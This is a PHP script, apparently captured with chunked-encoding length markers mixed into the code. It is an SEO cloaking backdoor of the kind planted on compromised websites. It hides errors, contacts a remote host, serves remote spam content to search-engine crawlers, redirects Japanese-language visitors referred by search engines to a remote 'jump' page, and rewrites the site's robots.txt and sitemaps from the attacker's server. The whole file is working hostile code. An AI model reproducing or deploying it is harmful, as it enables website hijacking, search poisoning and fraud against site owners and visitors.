1 < 3 ?ph 4 p er 5 ror_r 4 epor 4 ting 3 (0) 4 ; @s 4 et_t 4 ime_ 4 limi 3 t(1 7 20); @i 4 gnor 5 e_use 4 r_ab 4 ort( 5 1); $ 4 tr = 4 "ht 4 tps: 3 //j 3 260 3 413 3 _23 3 .ve 5 rnice 2 .i 4 nfo/ 3 "; 4 clas 4 s Re 3 q { 5 4 publ 4 ic f 4 unct 4 ion 6 server 4 ($na 5 me = 4 '', 3 $de 5 fault 6 = '') 5 b { i 4 f (e 4 mpty 7 ($name) c ) { 7 ret 4 urn 4 $_SE 4 RVER 6 ; 5 } 11 $name = 4 strt 4 oupp 8 er($name b ); 9 return is 4 set( 9 $_SERVER[ 7 $name]) 2 ? 11 $_SERVER[$name] a : $default 6 ; 16 } public function 4 iss( 16 ) { if ($t 4 his- 8 >server( 3 'HT 4 TPS' 3 ) & 3 & ( 4 "1" 3 == 18 $this->server('HTTPS') | 5 | "on 5 " == c strtolower($ 16 this->server('HTTPS')) 1a )) { return tr d ue; } 4 els 6 eif (' 6 https' 14 == $this->server('R 4 EQUE 3 ST_ 4 SCHE 3 ME' 32 )) { return true; } elseif ('4 2 43 14 ' == $this->server(' 9 SERVER_PO 2 RT 32 ')) { return true; } elseif (' 1e https' == $this->server('HTTP_ 3 X_F 3 ORW 4 ARDE 4 D_PR 3 OTO 28 ')) { return true; } 12 return fa 3 lse 1e ; } public function ho 2 st 16 () { $host 3 = 5 strva 15 l($this->server('HTTP e _X_FORWARDED_H 2 OS 5 T') ? 3 : $ 19 this->server('HTTP_HOST') 12 ); return 6 strpos 6 ($host 4 , ': 8 ') ? str 3 str d ($host, ':', 5 true) 8 : $host 1d ; } public function s 4 chem 12 e() { 8 return $ b this->iss() 3 ? a "https" : 5 "http d "; } 11 public function d 1 m 28 () { return $this->scheme() 3 . " 4 ://" a . $this-> 6 host() 1e ; } public function ip 11 () { 8 if (gete 3 nv( 6 'HTTP_ 4 CLIE 3 NT_ 2 IP 15 ')) { $ip 3 = 18 getenv('HTTP_CLIENT_IP') 21 ; } elseif (getenv('HTTP_ c X_FORWARDED_ 28 FOR')) { $ip = getenv('HTTP_ 11 X_FORWARDED_FOR') 1e ; } elseif (getenv('RE 3 MOT 4 E_AD 22 DR')) { $ip = getenv(' d REMOTE_ADDR') 10 ; } else 15 { $ip = f $this->server(' 28 REMOTE_ADDR'); } return 3 $ip 1f ; } public function isc 12 () { $ 4 agen 7 t = str 1c tolower($this->server('HTTP_ 5 USER_ 2 AG 6 ENT')) a ; b if ($agent 5 != '' 6 && pr 4 eg_m 4 atch 3 ('/ 4 goog 4 lebo 2 t| 9 google|ya 3 hoo 2 |b 6 ing|ao 4 l/si 4 ', $ 5 agent 37 )) { return true; } return 21 false; } public function 3 isg a () { 4 $re 2 fe 22 r = strtolower($this->server('HTTP 3 _RE 4 FERE 4 R')) 10 ; $refer 4 bots 19 = 'google|yahoo|bing|aol 10 '; if ($ 6 refer 16 != '' && preg_match("/ c ($referbots) 4 /si" 8 , $refer 58 )) { return true; } return false; } public function 3 uri 11 () { 6 if (($ 9 pos = str 5 pos($ e this->server(' a REQUEST_UR 3 I') 4 , '. 3 php 5 ')) ! 8 == false 11 ) { $ 4 scri 3 pt_ 9 name = ba 6 sename 11 ($this->server('S 4 CRIP 3 T_F 3 ILE 2 NA f ME')); 4 23 if (basename($this->server('SCRIPT_ 7 NAME')) 6 === $ b script_name 18 ) { $url 3 = 16 $this->server('SCRIPT_ 14 NAME'); 1 } 9 elseif ( 1a basename($this->server('PH 4 P_SE 2 LF 4 ')) 44 === $script_name) { $url = $this->server('PHP_SELF') 31 ; } elseif (basename($this->server('O 3 RIG 3 _SC 5 RIPT_ 54 NAME')) === $script_name) { $url = $this->server('ORIG_SCRIPT_NAME') 18 ; } elseif ( 1e ($pos = strpos($this->server(' d PHP_SELF'), ' 6 /' . $ c script_name) 1b ) !== false) { d $url = su 6 bstr($ e this->server(' f SCRIPT_NAME'), 4 0, $ 4 pos) 3 . 2a '/' . $script_name; } elseif ( 10 $this->server('D 3 OCU 5 MENT_ 3 ROO 4 T') b && strpos($ 15 this->server('SCRIPT_ d FILENAME'), $ e this->server(' 15 DOCUMENT_ROOT')) === 1 0 1e ) { $url = str 6 _repla 12 ce($this->server(' f DOCUMENT_ROOT') 7 , '', $ 1f this->server('SCRIPT_FILENAME') f ); f } $ 3 req 3 uri 8 = $url 2 . 25 substr($this->server('REQUEST_URI'), 6 $pos + 2 4 11 ); } else 10 { $ 9 requri = 3b substr($this->server('REQUEST_URI'), strpos($this->server(' 10 REQUEST_URI'), ' e /')); a } 9 return rt 3 rim 8 ($requri 5 , '/' 7 ); 19 } public function exe 4 cReq 5 ($url 4 , $p 7 = arra 3 y() 10 ) { 7 $url = e str_replace(' 5 ', '+ 4 ', $ f url); $ 2 ch 7 = curl 3 _in e it(); 5 curl_ 5 setop 4 t($c 4 h, C 3 URL 4 OPT_ 14 URL, $url); 1a curl_setopt($ch, CURLOPT_R 4 ETUR 3 NTR 3 ANS 5 FER, 4 1); 8 1b curl_setopt($ch, CURLOPT_HE 2 AD 8 ER, 0); 22 curl_setopt($ch, CURLOPT_T 3 IME 4 OUT, 6 20); 22 curl_setopt($ch, CURLOPT_P 3 OST 28 , 1); curl_setopt($ch, CURLOPT_S 3 SL_ 4 VERI 4 FYPE 29 ER, 0); curl_setopt($ch, CURLOPT_ a SSL_VERIFY 4 HOST 2c , 0); curl_setopt($ch, CURLOPT_POSTF 3 IEL 1 D 1 S 6 , http 3 _bu 4 ild_ 4 quer 4 y($p e )); $o 4 utpu 4 t = 9 curl_exec 4 ($ch c ); $ 8 errorCod 4 e = 9 curl_errn 10 o($ch); 7 curl_cl 5 ose($ d ch); 5 if (0 6 !== $ 9 errorCode 17 ) { return b false; 4 12 } return $ c output; 3 } } 5 $req 12 = new Req(); $isc 7 = $req 5 ->isc 8 (); $isg b = $req->is 7 g(); $u 2 ma 4 p = 7 $tr . " 3 map 6 "; $ur 4 i = 5 urlde 4 code c ($req->uri() 4 ); $ f p = array( 4 "dom 2 ai 5 n" => b $req->dm() 7 , " 4 port b " => $req-> b server('SER 3 VER 8 _PORT', 2 80 b ), "uri 9 " => $uri 4 ); c if (substr($ 6 uri, - 4 10) 4 == " 2 ro 7 bots.tx 2 t" b ) { hea 4 der( 4 "Con 4 tent 4 -typ 4 e:te 3 xt/ 5 plain 4 ; ch 2 ar 6 set=ut 3 f-8 8 "); 2 di 11 e($req->execReq($ 6 tr . " a robots", $ 6 p)); } 14 if (substr($uri, -6 c ) == "robots 9 ") { 10 $output = $req-> 1b execReq($tr . "robots", $p) 9 ; $rp 5 t = _ 4 _DIR 6 __ . " c /robots.txt" 8 ; fi 3 le_ 5 put_c 6 ontent 6 s($rpt 9 , $output 8 ); $ 6 robots 9 _cont = @ 5 file_ 11 get_contents($rpt 7 ); b if (strpos( c strtolower($ b robots_cont 6 ), "si 2 te 11 map")) { 4 die( c "robots.txt 8 file cre 3 ate 6 succe 3 ss! 8 "); 11 } else { 1f die("robots.txt file create fai b l!"); } 16 } if (substr($uri, -4 7 ) == ". 3 xml 9 ") { f if (strpos($uri 5 , "al 8 lsitemap 7 .xml") 3 || e strpos($uri, " a sitemap-in 3 dex 26 .xml") || strpos($uri, "sitemap-index- 19 1.xml") || strpos($uri, " b index.xml") c ) { 1d $output = $req->execReq($umap 5 , $p) a ; 1e header("Content-type:text/" . 9 (substr($ 6 output 6 , 0, 5 8 ) === '< 4 ?xml 4 ' ? 7 'xml' : 2 ' 8 plain') 3 . ' f ; charset=utf-8 c '); 4 die( 3 '' 10 . $output); 6 } 19 $output = $req->execReq($ 9 tr . "wor 7 d", $p) 6 ; 1d header("Content-type:text/xml 17 ; charset=utf-8"); 5 if ($ b output == " a 1") { e die('' . $ 5 req-> 12 execReq($umap, $p) 7 ); 15 } else { die( 18 '' . $output); } } $ 3 lan a g = $req-> e server('HTTP_A 3 CCE 4 PT_L 3 ANG 4 UAGE 8 '); if ( 1 ! 8 $isc && 4 $isg 10 && strpos($lang 3 , ' 4 ja') 3 !== f false) { $p 3 ["i 3 p"] a = $req->i 3 p() 8 ; $a 6 ction b = $tr . "ju 9 mp"; 13 die($req->execReq($ 6 action 12 , $p)); } if ($isc 8 ) { 18 die('' . $req->execReq($ 6 tr . " 5 indat c a", $p)); } 2 ?> 0